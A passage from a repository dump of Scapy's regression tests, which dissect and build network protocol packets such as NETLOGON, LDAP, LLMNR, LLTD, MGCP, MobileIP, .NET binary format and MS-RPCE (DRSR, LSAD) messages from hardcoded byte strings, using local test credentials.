pkt.NtVersion.V5EX_WITH_IP and pkt.NtVersion == 13\nassert pkt.DnsForestName == b\"domain.local.\"\nassert pkt.DnsDomainName == b\"domain.local.\"\nassert pkt.DnsHostName == b\"DC1.domain.local.\"\nassert pkt.DcSiteName == b\"Default-First-Site-Name.\"\nassert pkt.ClientSiteName == b\"Default-First-Site-Name.\"\nassert pkt.DcSockAddrSize == 0x10\nassert pkt.DcSockAddr.sin_addr == \"192.168.0.100\"\nassert pkt.Flags == 0x3f3fd\n\n= Dissect NETLOGON_SAM_LOGON_RESPONSE_EX - V1+V5EX\n\npkt = NETLOGON(b'\\x17\\x00\\x00\\x00\\xfd\\xf3\\x03\\x00\\x8c#\\xf1G^\\xe5\\xfeL\\x89\\xe8x\\t7\\xb1\\xcd;\\x06domain\\x05local\\x00\\xc0\\x18\\x03DC1\\xc0\\x18\\x06DOMAIN\\x00\\x03DC1\\x00\\x00\\x17Default-First-Site-Name\\x00\\xc0<\\x05\\x00\\x00\\x00\\xff\\xff\\xff\\xff')\n\nassert pkt.NtVersion == 5\nassert pkt.DnsForestName == b\"domain.local.\"\nassert pkt.DnsDomainName == b\"domain.local.\"\nassert pkt.DnsHostName == b\"DC1.domain.local.\"\nassert pkt.DcSiteName == b\"Default-First-Site-Name.\"\nassert pkt.ClientSiteName == b\"Default-First-Site-Name.\"\nassert pkt.Flags == 0x3f3fd\n\n= Dissect NETLOGON_SAM_LOGON_RESPONSE - V1+V5\n\nimport uuid\n\npkt = NETLOGON(b'\\x13\\x00\\\\\\x00\\\\\\x00D\\x00C\\x001\\x00\\x00\\x00\\x00\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x00\\x00\\x8c#\\xf1G^\\xe5\\xfeL\\x89\\xe8x\\t7\\xb1\\xcd;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06domain\\x05local\\x00\\xc0>\\x03DC1\\xc0>d\\x00\\xa8\\xc0}\\xf3\\x03\\x00\\x03\\x00\\x00\\x00\\xff\\xff\\xff\\xff')\n\nassert pkt.NtVersion == 3\nassert pkt.NullGuid == uuid.UUID('00000000-0000-0000-0000-000000000000')\nassert pkt.DnsForestName == b\"domain.local.\"\nassert pkt.DnsDomainName == b\"domain.local.\"\nassert pkt.DnsHostName == b\"DC1.domain.local.\"\nassert pkt.Flags == 0x3f37d\n\n= Dissect NETLOGON_SAM_LOGON_RESPONSE_NT40 - V1\n\npkt = NETLOGON(b'\\x13\\x00\\\\\\x00\\\\\\x00D\\x00C\\x001\\x00\\x00\\x00\\x00\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff')\n\nassert pkt.NtVersion == 1\nassert pkt.UnicodeLogonServer == r\"\\\\DC1\"\nassert pkt.UnicodeDomainName == \"DOMAIN\"\n"
  },
  {
    "path": "test/scapy/layers/ldapopenldap.uts",
    "content": "% Tests that need a local instance of OpenLDAP to run\n\n+ Functional test against OpenLDAP\n~ linux ci_only\n\n= (OpenLDAP) connect to server, bind\n\ncli = LDAP_Client()\ncli.connect(\"127.0.0.1\")\ncli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username=\"cn=admin,dc=scapy,dc=net\", simple_password=\"Bonjour1\")\ncli.close()\n\n= (OpenLDAP) connect to server, bind, search\n\ncli = LDAP_Client()\ncli.connect(\"127.0.0.1\")\ncli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username=\"cn=admin,dc=scapy,dc=net\", simple_password=\"Bonjour1\")\nres = cli.search(\"dc=scapy,dc=net\", \"(&(givenName=Another)(sn=Test))\", scope=2)\ncli.close()\n\nassert res == {\n    'uid=another,ou=People,dc=scapy,dc=net': {\n        'objectClass': ['top',\n        'person',\n        'inetOrgPerson'],\n        'cn': ['Another Test'],\n        'uid': ['another'],\n        'sn': ['Test'],\n        'givenName': ['Another'],\n        'userPassword': ['testing']\n    }\n}\n\n= (OpenLDAP) connect to server using SSL\n~ disabled\n\n# We need a version of OpenLDAP that is more recent. Let's wait.\n\ncli = LDAP_Client()\ncli.connect(\"127.0.0.1\", use_ssl=True, no_check_certificate=True)\ncli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username=\"cn=admin,dc=scapy,dc=net\", simple_password=\"Bonjour1\")\ncli.close()\n"
  },
  {
    "path": "test/scapy/layers/llmnr.uts",
    "content": "% LLMNR regression tests for Scapy\n\n############\n############\n+ LLMNR protocol\n\n= Simple packet dissection\npkt = Ether(b'\\x11\\x11\\x11\\x11\\x11\\x11\\x99\\x99\\x99\\x99\\x99\\x99\\x08\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x11:\\xa4\\xc0\\xa8\\x00w\\x7f\\x00\\x00\\x01\\x14\\xeb\\x14\\xeb\\x00\\x14\\x95\\xcf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert pkt.sport == 5355\nassert pkt.dport == 5355\nassert pkt[LLMNRQuery].opcode == 0\n\n= Dissection with the \"T\"entative bit set and the \"TrunCation\" bit unset\nr = LLMNRResponse(b'\\x87\\xdf\\x81\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x01C\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x1e\\x00\\x04\\xc0\\xa8-\\x15')\nassert r.tc == 0 and r.t == 1\n\n= Packet build / dissection\npkt = UDP(raw(UDP()/LLMNRResponse()))\nassert LLMNRResponse in pkt\nassert pkt.qr == 1\nassert pkt.c == 0\nassert pkt.tc == 0\nassert pkt.t == 0\nassert pkt.z == 0\nassert pkt.rcode == 0\nassert pkt.qdcount == 0\nassert pkt.arcount == 0\nassert pkt.nscount == 0\nassert pkt.ancount == 0\n\n= Answers - building\na = UDP()/LLMNRResponse(id=12)\nb = UDP()/LLMNRQuery(id=12)\nassert a.answers(b)\nassert not b.answers(a)\nassert b.hashret() == b'\\x00\\x0c'\n\n= Answers - dissecting\na = Ether(b'\\xd0P\\x99V\\xdd\\xf9\\x14\\x0cv\\x8f\\xfe(\\x08\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x11:\\xa4\\x7f\\x00\\x00\\x01\\xc0\\xa8\\x00w\\x14\\xeb\\x14\\xeb\\x00\\x14\\x95\\xcf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = Ether(b'\\x14\\x0cv\\x8f\\xfe(\\xd0P\\x99V\\xdd\\xf9\\x08\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x11:\\xa4\\xc0\\xa8\\x00w\\x7f\\x00\\x00\\x01\\x14\\xeb\\x14\\xeb\\x00\\x14\\x15\\xcf\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert b.answers(a)\nassert not a.answers(b)\n\n= Summary\nq = LLMNRQuery(b'\\xd5\\xd5\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x07example\\x00\\x00\\x01\\x00\\x01')\nassert q.mysummary()[0] == r\"LLMNRQuery who has 'example.'\"\n\nq = LLMNRQuery(b'Yy\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\x01\\x00\\x01')\nassert q.mysummary()[0] == r\"LLMNRQuery who has '\\xff.'\"\n\nwith no_debug_dissector():\n    q = LLMNRQuery(b'@@\\x00\\x1b\\xed7\\x96J\\x00\\x00\\x00\\x01\\x00\\x00')\n    assert q.mysummary()[0] == r\"LLMNRQuery [malformed]\"\n\nr = LLMNRResponse(b'e\\xcc\\x80\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x07example\\x00\\x00\\x01\\x00\\x01\\x07example\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x1e\\x00\\x04\\xc0\\x00\\x02\\x01')\nassert r.mysummary()[0] == r\"LLMNRResponse 'example.' is at '192.0.2.1'\"\n\nr = LLMNRResponse(b'\\n\\xe6\\x80\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\x1c\\x00\\x01\\xc0\\x0c\\x00\\x1c\\x00\\x01\\x00\\x00\\x00\\x1e\\x00\\x10\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00xu\\x17\\xff\\xfe\\xbc\\xac\\xcb')\nassert r.mysummary()[0] == r\"LLMNRResponse '\\xff.' is at 'fe80::7875:17ff:febc:accb'\"\n\nwith no_debug_dissector():\n    r = LLMNRResponse(b'\\xd3<\\x80\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x04H\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x1e\\x00\\x04\\xc0\\xa88\\x04')\n    assert r.mysummary()[0] == r\"LLMNRResponse [malformed]\"\n"
  },
  {
    "path": "test/scapy/layers/lltd.uts",
    "content": "% LLTD regression tests for Scapy\n\n############\n############\n+ LLTD protocol\n\n= Simple packet dissection\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x86\\x14\\xf0\\xc7[.\\x88\\xd9\\x01\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\x86\\x14\\xf0\\xc7[.\\x00\\x00\\xfe\\xe9[\\xa9\\xaf\\xc1\\x0bS[\\xa9\\xaf\\xc1\\x0bS\\x01\\x06}[G\\x8f\\xec.\\x02\\x04p\\x00\\x00\\x00\\x03\\x04\\x00\\x00\\x00\\x06\\x07\\x04\\xac\\x19\\x88\\xe4\\t\\x02\\x00l\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x0fB@\\x0c\\x04\\x00\\x08=`\\x0e\\x00\\x0f\\x0eT\\x00E\\x00S\\x00T\\x00-\\x00A\\x00P\\x00\\x12\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x04\\x00\\x00\\x00\\x00\\x15\\x01\\x02\\x18\\x00\\x19\\x02\\x04\\x00\\x1a\\x00\\x00')\nassert pkt.dst == pkt.real_dst\nassert pkt.src == pkt.real_src\nassert pkt.current_mapper_address == pkt.apparent_mapper_address\nassert pkt.mac == '7d:5b:47:8f:ec:2e'\nassert pkt.hostname == \"TEST-AP\"\nassert isinstance(pkt[LLTDAttributeEOP].payload, NoPayload)\n\n= Packet build / dissection\npkt = Ether(raw(Ether(dst=ETHER_BROADCAST, src=RandMAC()) / LLTD(tos=0, function=0)))\nassert LLTD in pkt\nassert pkt.dst == pkt.real_dst\nassert pkt.src == pkt.real_src\nassert pkt.tos == 0\nassert pkt.function == 0\nassert pkt.hashret()[2:] == b'\\x00\\x00'\n\n= Attribute build / dissection\nassert isinstance(LLTDAttribute(), LLTDAttribute)\nassert isinstance(LLTDAttribute(raw(LLTDAttribute())), LLTDAttribute)\nassert all(isinstance(LLTDAttribute(type=i), LLTDAttribute) for i in range(256))\nassert all(isinstance(LLTDAttribute(raw(LLTDAttribute(type=i))), LLTDAttribute) for i in range(256))\n\n= Large TLV\nm1, m2, seq = RandMAC()._fix(), RandMAC()._fix(), 123\npreqbase = Ether(src=m1, dst=m2) / LLTD() / \\\n           LLTDQueryLargeTlv(type=\"Detailed Icon Image\")\nprespbase = Ether(src=m2, dst=m1) / LLTD() / \\\n            LLTDQueryLargeTlvResp()\nplist = []\npkt = preqbase.copy()\npkt.seq = seq\nplist.append(Ether(raw(pkt)))\npkt = prespbase.copy()\npkt.seq = seq\npkt.flags = \"M\"\npkt.value = \"abcd\"\nplist.append(Ether(raw(pkt)))\npkt = preqbase.copy()\npkt.seq = seq + 1\npkt.offset = 4\nplist.append(Ether(raw(pkt)))\npkt = prespbase.copy()\npkt.seq = seq + 1\npkt.value = \"efg\"\nplist.append(Ether(raw(pkt)))\nbuilder = LargeTlvBuilder()\nbuilder.parse(plist)\ndata = builder.get_data()\nassert len(data) == 1\nkey, value = data.popitem()\nassert key.endswith(' [Detailed Icon Image]')\nassert value == 'abcdefg'\n\n= Summary\nassert LLTDAttributeMachineName(b'\\x0f\\x04{\\x00\\n\\x00').mysummary()[0] == r\"Hostname: '{\\n'\"\n"
  },
  {
    "path": "test/scapy/layers/mgcp.uts",
    "content": "% MGCP regression tests for Scapy\n\n############\n############\n+ MGCP tests\n\n= MGCP - build\ns = raw(IP(src=\"127.0.0.1\")/UDP()/MGCP(endpoint=\"scapy@secdev.org\", transaction_id=\"04523\"))\ns == b'E\\x00\\x00I\\x00\\x01\\x00\\x00@\\x11|\\xa1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\n\\xa7\\n\\xa7\\x005\\xf8\\xaeAUEP 04523 scapy@secdev.org MGCP 1.0 NCS 1.0\\n'\n\n= MGCP - dissect\npkt = Ether(b'\\x1b\\x81\\xb8\\xa8J5\\xe3\\xebn\\x90q\\xb8\\x08\\x00E\\x00\\x00E\\x00\\x01\\x00\\x00@\\x11\\xf7\\xde\\xc0\\xa8\\x00\\xff\\xc0\\xa8\\x00y\\n\\xa7\\n\\xa7\\x001\\x05\\xb5AUEP 155 god@heaven.com MGCP 1.0 NCS 1.0\\n')\nassert pkt[MGCP].endpoint == b'god@heaven.com'\n\n\n"
  },
  {
    "path": "test/scapy/layers/mobileip.uts",
    "content": "% Mobile IP regression tests for Scapy\n\n\n############\n############\n+ MobileIP tests\n\n= MobileIP - build\ns = raw(IP(src=\"127.0.0.1\")/UDP()/MobileIP()/MobileIPRRP(homeaddr='156.133.50.141', haaddr='95.83.86.216'))\ns == b'E\\x00\\x000\\x00\\x01\\x00\\x00@\\x11|\\xba\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x01\\xb2\\x01\\xb2\\x00\\x1cu]\\x03\\x00\\x00\\xb4\\x9c\\x852\\x8d_SV\\xd8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MobileIP - dissect\npkt = IP(s)\nassert pkt[MobileIP][MobileIPRRP].haaddr == '95.83.86.216'\n\n\n"
  },
  {
    "path": "test/scapy/layers/msnrtp.uts",
    "content": "% MS-NRTP tests\n\n+ [MS-NRTP]\n\n= [MS-NRBF] parse .NET Binary Format\n\nfrom scapy.layers.ms_nrtp import *\n\ndata = b'\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x02\\x00\\x00\\x00NSystem.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\\x05\\x01\\x00\\x00\\x00\\x13System.Data.DataSet\\n\\x00\\x00\\x00\\x16DataSet.RemotingFormat\\x13DataSet.DataSetName\\x11DataSet.Namespace\\x0eDataSet.Prefix\\x15DataSet.CaseSensitive\\x12DataSet.LocaleLCID\\x1aDataSet.EnforceConstraints\\x1aDataSet.ExtendedProperties\\x14DataSet.Tables.Count\\x10DataSet.Tables_0\\x04\\x01\\x01\\x01\\x00\\x00\\x00\\x02\\x00\\x07\\x1fSystem.Data.SerializationFormat\\x02\\x00\\x00\\x00\\x01\\x08\\x01\\x08\\x02\\x02\\x00\\x00\\x00\\x05\\xfd\\xff\\xff\\xff\\x1fSystem.Data.SerializationFormat\\x01\\x00\\x00\\x00\\x07value__\\x00\\x08\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x04\\x00\\x00\\x00\\x00\\t\\x04\\x00\\x00\\x00\\t\\x04\\x00\\x00\\x00\\x00\\t\\x04\\x00\\x00\\x00\\n\\x01\\x00\\x00\\x00\\t\\x05\\x00\\x00\\x00\\x0f\\x05\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x02TRIMMED\\x0b'\n\npkt = NRBF(data)\nassert len(pkt.records) == 5\n\nassert isinstance(pkt.records[0], NRBFSerializationHeader)\nassert pkt.records[0].RootID == 1\nassert pkt.records[0].HeaderId == -1\n\nassert pkt.records[1].LibraryId == 2\nassert pkt.records[1].LibraryName.String == b'System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'\n\nassert pkt.records[2].ObjectId == 1\nassert pkt.records[2].MemberCount == 10\nassert len(pkt.records[2].MemberNames) == 10\nassert pkt.records[2].MemberNames[9].String == b\"DataSet.Tables_0\"\nassert pkt.records[2].AdditionalInfos[0].Value.TypeName.String == b\"System.Data.SerializationFormat\"\nassert pkt.records[2].AdditionalInfos[1].Value == PrimitiveTypeEnum.Boolean\nassert pkt.records[2].AdditionalInfos[5].Value == PrimitiveTypeEnum.Byte\nassert pkt.records[2].Members[0].Members[0].Value == 1\nassert isinstance(pkt.records[2].Members[1], NRBFBinaryObjectString)\nassert isinstance(pkt.records[2].Members[2], NRBFMemberReference)\nassert isinstance(pkt.records[2].Members[3], NRBFMemberReference)\nassert isinstance(pkt.records[2].Members[4], NRBFMemberPrimitiveUnTyped)\nassert isinstance(pkt.records[2].Members[7], NRBFObjectNull)\nassert isinstance(pkt.records[2].Members[9], NRBFMemberReference)\nassert pkt.records[2].Members[9].IdRef == 5\n\nassert pkt.records[3].ObjectId == 5\nassert pkt.records[3].Values == b\"TRIMMED\"\n\nassert isinstance(pkt.records[4], NRBFMessageEnd)\n\n= [MS-NRBF] build .NET Binary Format\n\npkt = NRBF(\n    records=[\n        NRBFSerializationHeader(HeaderId=-1),\n        NRBFBinaryLibrary(\n            LibraryId=2,\n            LibraryName=NRBFLengthPrefixedString(\n                String=b\"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\n            ),\n        ),\n        NRBFClassWithMembersAndTypes(\n            ObjectId=1,\n            Name=NRBFLengthPrefixedString(String=b\"System.Data.DataSet\"),\n            MemberCount=10,\n            MemberNames=[\n                NRBFLengthPrefixedString(String=b\"DataSet.RemotingFormat\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.DataSetName\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.Namespace\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.Prefix\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.CaseSensitive\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.LocaleLCID\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.EnforceConstraints\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.ExtendedProperties\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.Tables.Count\"),\n                NRBFLengthPrefixedString(String=b\"DataSet.Tables_0\"),\n            ],\n            BinaryTypeEnums=[\n                BinaryTypeEnum.Class,\n                BinaryTypeEnum.String,\n                BinaryTypeEnum.String,\n                BinaryTypeEnum.String,\n                BinaryTypeEnum.Primitive,\n                BinaryTypeEnum.Primitive,\n                BinaryTypeEnum.Primitive,\n                BinaryTypeEnum.Object,\n                BinaryTypeEnum.Primitive,\n                BinaryTypeEnum.PrimitiveArray,\n            ],\n            AdditionalInfos=[\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.SystemClass,\n                    Value=NRBFClassTypeInfo(\n                        TypeName=NRBFLengthPrefixedString(\n                            String=b\"System.Data.SerializationFormat\"\n                        ),\n                        LibraryId=2,\n                    )\n                ),\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.Primitive,\n                    Value=PrimitiveTypeEnum.Boolean,\n                ),\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.Primitive,\n                    Value=PrimitiveTypeEnum.Int32,\n                ),\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.Primitive,\n                    Value=PrimitiveTypeEnum.Boolean,\n                ),\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.Primitive,\n                    Value=PrimitiveTypeEnum.Int32,\n                ),\n                NRBFAdditionalInfo(\n                    bintype=BinaryTypeEnum.PrimitiveArray,\n                    Value=PrimitiveTypeEnum.Byte,\n                ),\n            ],\n            LibraryId=2,\n            Members=[\n                NRBFClassWithMembersAndTypes(\n                    ObjectId=-3,\n                    Name=NRBFLengthPrefixedString(\n                        String=b\"System.Data.SerializationFormat\"\n                    ),\n                    MemberNames=[\n                        NRBFLengthPrefixedString(String=b\"value__\"),\n                    ],\n                    BinaryTypeEnums=[BinaryTypeEnum.Primitive],\n                    AdditionalInfos=[\n                        NRBFAdditionalInfo(bintype=BinaryTypeEnum.Primitive,\n                                           Value=PrimitiveTypeEnum.Int32),\n                    ],\n                    LibraryId=2,\n                    Members=[\n                        NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1)\n                    ],\n                ),\n                NRBFBinaryObjectString(\n                    ObjectId=4,\n                    Value=NRBFLengthPrefixedString(String=b\"\"),\n                ),\n                NRBFMemberReference(IdRef=4),\n                NRBFMemberReference(IdRef=4),\n                NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Boolean, Value=0),\n                NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1033),\n                NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Boolean, Value=0),\n                NRBFObjectNull(),\n                NRBFMemberPrimitiveUnTyped(primtype=PrimitiveTypeEnum.Int32, Value=1),\n                NRBFMemberReference(IdRef=5),\n            ],\n        ),\n        NRBFArraySinglePrimitive(\n            ObjectId=5,\n            PrimitiveTypeEnum=PrimitiveTypeEnum.Byte,\n            Values=b\"TRIMMED\",\n        ),\n        NRBFMessageEnd(),\n    ]\n)\n\nassert bytes(pkt) == data\n"
  },
  {
    "path": "test/scapy/layers/msrpce/mgmt.uts",
    "content": "% C706 MGMT tests\n~ needs_py38plus\n\n+ C706 MGMT test vectors\n\n= [C706 MGMT] - Import layer\n\nfrom scapy.config import conf\nconf.exts.load(\"scapy-rpc\")\nfrom scapy.layers.msrpce.raw.mgmt import *\n\n= [C706 MGMT] - Dissect rpc__mgmt_inq_if_ids_Response\n\nimport uuid\n\nDATA = bytes.fromhex('00000200000000000c000000000000000c000000000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000000020000000000000002000000000000000200000000000883afe11f5dc91191a408002b14a0fa0300000084650a0b0f9ecf11a3cf00805f68cb1b0100010026b5551d37c1c546ab79638f2a68e869010000007f0bfe64f59e5345a7db9a197577755401000000e6730ce6f988cf119af10020af6e72f402000000c4fefc9960521b10bbcb00aa0021347a00000000609ee7b9523dce11aaa100006901293f000002001e242f412ac1ce11abff0020af6e7a17000002003601000000000000c0000000000000460000000072eef3c67eced111b71e00c04fc3111a01000000b84a9f4d1c7dcf11861e0020af6e7c5700000000a001000000000000c0000000000000460000000000000000')\npkt = rpc__mgmt_inq_if_ids_Response(DATA)\nassert pkt.if_id_vector.value.max_count == 12\nassert pkt.if_id_vector.value.Count == 12\nassert [(uuid.UUID(bytes_le=bytes(x.Uuid)), x.VersMajor, x.VersMinor) for x in pkt.valueof(\"if_id_vector.IfId\")] == [\n    (uuid.UUID('e1af8308-5d1f-11c9-91a4-08002b14a0fa'), 3, 0),\n    (uuid.UUID('0b0a6584-9e0f-11cf-a3cf-00805f68cb1b'), 1, 1),\n    (uuid.UUID('1d55b526-c137-46c5-ab79-638f2a68e869'), 1, 0),\n    (uuid.UUID('64fe0b7f-9ef5-4553-a7db-9a1975777554'), 1, 0),\n    (uuid.UUID('e60c73e6-88f9-11cf-9af1-0020af6e72f4'), 2, 0),\n    (uuid.UUID('99fcfec4-5260-101b-bbcb-00aa0021347a'), 0, 0),\n    (uuid.UUID('b9e79e60-3d52-11ce-aaa1-00006901293f'), 0, 2),\n    (uuid.UUID('412f241e-c12a-11ce-abff-0020af6e7a17'), 0, 2),\n    (uuid.UUID('00000136-0000-0000-c000-000000000046'), 0, 0),\n    (uuid.UUID('c6f3ee72-ce7e-11d1-b71e-00c04fc3111a'), 1, 0),\n    (uuid.UUID('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57'), 0, 0),\n    (uuid.UUID('000001a0-0000-0000-c000-000000000046'), 0, 0),\n]\n\n"
  },
  {
    "path": "test/scapy/layers/msrpce/msdrsr.uts",
    "content": "% MS-DRSR tests\n\n+ [MS-DRSR] test vectors\n\n+ Dissect DRSR Crack_Names exchange\n\n= [EXCH] - Load MSDRSR exchange and decrypt (SPNEGOSSP/NTLMSSP)\n\nload_layer(\"msrpce\")\nbind_layers(TCP, DceRpc5, sport=49685)  # the DCE/RPC port\nbind_layers(TCP, DceRpc5, dport=49685)\n\nconf.dcerpc_session_enable = True\nconf.winssps_passive = [\n    SPNEGOSSP(\n        [\n            NTLMSSP(\n                IDENTITIES={\n                    \"Administrator\": MD4le(\"Password123!\"),\n                },\n            )\n        ]\n    )\n]\npkts = sniff(offline=scapy_path('test/pcaps/dcerpc_msdrsr_cracknames.pcapng.gz'), session=TCPSession)\nconf.dcerpc_session_enable = False\n\n= [EXCH] - Check IDL_DRSBind_Request\n\nfrom scapy.layers.msrpce.msdrsr import DRS_EXTENSIONS_INT\n\nbindreq = pkts[7]\nassert IDL_DRSBind_Request in bindreq\next = DRS_EXTENSIONS_INT(bindreq[IDL_DRSBind_Request].valueof(\"pextClient\").rgb)\nassert ext.Pid == 1234\nassert ext.dwReplEpoch == 1729468809\n\n= [EXCH] - Check IDL_DRSBind_Response\n\nimport uuid\n\nbindresp = pkts[8]\nassert IDL_DRSBind_Response in bindresp\nassert bindresp[IDL_DRSBind_Response].phDrs.uuid == b'\\xf4$I\\xf5\\xde\\x0c\\xfcO\\x8b\\xfa\\xb0Y\\x87\\xf4\\x11i'\next = DRS_EXTENSIONS_INT(bindresp[IDL_DRSBind_Response].valueof(\"ppextServer\").rgb)\nassert ext.dwFlags.GETCHGREQ_V10\nassert ext.dwFlags == 0x3fffff7f\nassert ext.Pid == 696\nassert ext.ConfigObjGuid == uuid.UUID('14ea64e0-3470-48e6-9ace-77012d8d474f')\n\n= [EXCH] - Check IDL_DRSCrackNames_Request\n\ncnreq = pkts[9]\nassert IDL_DRSCrackNames_Request in cnreq\n\ncrackreq = cnreq[IDL_DRSCrackNames_Request].valueof(\"pmsgIn\")\nassert crackreq.formatOffered == 11\nassert crackreq.formatDesired == 0xfffffff2\n\nassert crackreq.valueof(\"rpNames\") == [\n    b'S-1-5-21-1924137214-3718646274-40215721-522',\n    b'S-1-5-21-1924137214-3718646274-40215721-498',\n    b'S-1-5-21-1924137214-3718646274-40215721-516',\n    b'S-1-5-21-1924137214-3718646274-40215721-526',\n    b'S-1-5-21-1924137214-3718646274-40215721-527',\n    b'S-1-5-21-1924137214-3718646274-40215721-512',\n    b'S-1-5-21-1924137214-3718646274-40215721-519',\n    b'S-1-5-21-1924137214-3718646274-40215721-513',\n]\n\n= [EXCH] - Check IDL_DRSCrackNames_Response\n\ncnresp = pkts[10]\nassert IDL_DRSCrackNames_Response in cnresp\n\ncrackresp =  cnresp[IDL_DRSCrackNames_Response].valueof(\"pmsgOut\")\nassert [x.valueof(\"pName\") for x in crackresp.valueof(\"pResult\").valueof(\"rItems\")] == [\n    b'Cloneable Domain Controllers@DOMAIN',\n    b'Enterprise Read-only Domain Controllers@DOMAIN',\n    b'Domain Controllers@DOMAIN',\n    b'Key Admins@DOMAIN',\n    b'Enterprise Key Admins@DOMAIN',\n    b'Domain Admins@DOMAIN',\n    b'Enterprise Admins@DOMAIN',\n    b'Domain Users@DOMAIN',\n]\n\n"
  },
  {
    "path": "test/scapy/layers/msrpce/mslsad.uts",
    "content": "% MS-LSAD tests\n~ needs_py38plus\n\n+ [MS-LSAD] build and dissection tests\n\n* This files are stored in the scapy-rpc extension, but included as part of Scapy's main testing suite for consistency.\n\n= [MS-LSAD] - Import [MS-LSAD]\n\nfrom scapy.config import conf\nconf.exts.load(\"scapy-rpc\")\nfrom scapy.layers.msrpce.raw.ms_lsad import *\n\n= [MS-LSAD] - Build LsarEnumerateAccountsWithUserRight_Request\n\npolicyHandle = NDRContextHandle(attributes=0, uuid=b'\\x92\\xa1*\"\\xc2\\xc2\\nJ\\xaf\\x0bL\\xdd]C\\x8c\\x1a')\nright = \"SeAuditPrivilege\"\n\npkt = LsarEnumerateAccountsWithUserRight_Request(\n    PolicyHandle=policyHandle,\n    UserRight=PRPC_UNICODE_STRING(\n        Buffer=right,\n    ),\n)\n\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x92\\xa1*\"\\xc2\\xc2\\nJ\\xaf\\x0bL\\xdd]C\\x8c\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00 \\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00S\\x00e\\x00A\\x00u\\x00d\\x00i\\x00t\\x00P\\x00r\\x00i\\x00v\\x00i\\x00l\\x00e\\x00g\\x00e\\x00'\n\n= [MS-LSAD] - Dissect LsarEnumerateAccountsWithUserRight_Response\n\nfrom scapy.layers.windows.security import WINNT_SID\n\npkt = 